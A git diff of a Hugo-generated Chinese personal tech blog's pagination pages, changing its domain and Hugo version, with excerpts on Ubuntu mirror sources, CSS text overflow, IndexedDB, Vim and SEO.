-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# 预发布软件源，不建议启用
-# deb https://mirrors....</p></div><footer class=entry-footer><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to linux系统的日常使用" href=https://xiaochenabc123.github.io/posts/8/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/22/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/24/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors....</p></div><footer class=entry-footer><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to linux系统的日常使用" href=https://chenjunlinabc.github.io/posts/8/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/22/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/24/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/24/index.html b/page/24/index.html
index 706c42ef..3088a4d2 100644
--- a/page/24/index.html
+++ b/page/24/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单解决文本溢出问题</h2></header><div class=entry-content><p>当文本宽度超过容器的宽度那么将导致溢出
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单解决文本溢出问题</h2></header><div class=entry-content><p>当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
 word-break: break-all
@@ -9,43 +9,20 @@
 pre：保留空格，换行保留，不自动换行
 pre-wrap：保留完整空格，保留换行符，自动换行
 pre-line：保留空格（可能不完整），保留换行
-一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=entry-footer><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单解决文本溢出问题" href=https://xiaochenabc123.github.io/posts/6/></a></article><article class=post-entry><header class=entry-header><h2>IndexedDB浏览器数据库学习笔记</h2></header><div class=entry-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
+一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=entry-footer><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单解决文本溢出问题" href=https://chenjunlinabc.github.io/posts/6/></a></article><article class=post-entry><header class=entry-header><h2>IndexedDB浏览器数据库学习笔记</h2></header><div class=entry-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open("data",1);
-datadb.onerror = function(){
-console.log("数据库打开失败")
-}
-datadb.onsuccess = function(){
-console.log("数据库打开成功");
-}
-datadb.onupgradeneeded = function(event){ console.log("数据库版本升级");
-}
-onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open("data",1); datadb.onerror = function(){ console.log("数据库打开失败") } datadb.onsuccess = function(){ console.log("数据库打开成功"); } datadb.onupgradeneeded = function(event){ console.log("数据库版本升级"); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
-console.log("数据库升级");
-var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"});
-}
-表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log("数据库升级"); var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains('abc')){
-var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"});
-}
-递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore("abc",{autoIncrement: true});
-唯一属性
-objdb.createIndex("id","id",{unique: false})
-createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore("abc",{autoIncrement: true}); 唯一属性
+objdb.createIndex("id","id",{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open("data",1);
-var db;
-var objdb;
-datadb.onupgradeneeded = function(event) {
-console.log("数据库升级");
-db = event....</p></div><footer class=entry-footer><span title='2021-06-15 19:00:00 +0000 UTC'>2021-06-15</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to IndexedDB浏览器数据库学习笔记" href=https://xiaochenabc123.github.io/posts/5/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Vim编辑器</h2></header><div class=entry-content><p>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
+var datadb = window.indexedDB.open("data",1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log("数据库升级"); db = event....</p></div><footer class=entry-footer><span title='2021-06-15 19:00:00 +0000 UTC'>2021-06-15</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to IndexedDB浏览器数据库学习笔记" href=https://chenjunlinabc.github.io/posts/5/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Vim编辑器</h2></header><div class=entry-content><p>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
 普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）
@@ -74,7 +51,7 @@
 ?text：按n健查找上一个，按N健查找下一个
 :wq：保存并且退出，加!表示强制
 :q!：强制退出并且放弃所有更改
-:e!：放弃修改，并且重新打开文件</p></div><footer class=entry-footer><span title='2021-03-28 12:00:00 +0000 UTC'>2021-03-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vim编辑器" href=https://xiaochenabc123.github.io/posts/3/></a></article><article class=post-entry><header class=entry-header><h2>简单了解SEO</h2></header><div class=entry-content><p>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
+:e!：放弃修改，并且重新打开文件</p></div><footer class=entry-footer><span title='2021-03-28 12:00:00 +0000 UTC'>2021-03-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vim编辑器" href=https://chenjunlinabc.github.io/posts/3/></a></article><article class=post-entry><header class=entry-header><h2>简单了解SEO</h2></header><div class=entry-content><p>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
 允许指定蜘蛛获取，*为通配符
@@ -99,8 +76,8 @@
 注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接
 尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容
 重要信息请勿使用js输出，爬虫不会抓取js的内容
-给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度</p></div><footer class=entry-footer><span title='2021-03-20 11:50:00 +0000 UTC'>2021-03-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解SEO" href=https://xiaochenabc123.github.io/posts/2/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/23/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/25/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度</p></div><footer class=entry-footer><span title='2021-03-20 11:50:00 +0000 UTC'>2021-03-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解SEO" href=https://chenjunlinabc.github.io/posts/2/></a></article><article class=post-entry><header class=entry-header><h2></h2></header><div class=entry-content><p></p></div><footer class=entry-footer>0 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to " href=https://chenjunlinabc.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/23/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/25/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/25/index.html b/page/25/index.html
index b477d397..49f188f0 100644
--- a/page/25/index.html
+++ b/page/25/index.html
@@ -1,5 +1,5 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t 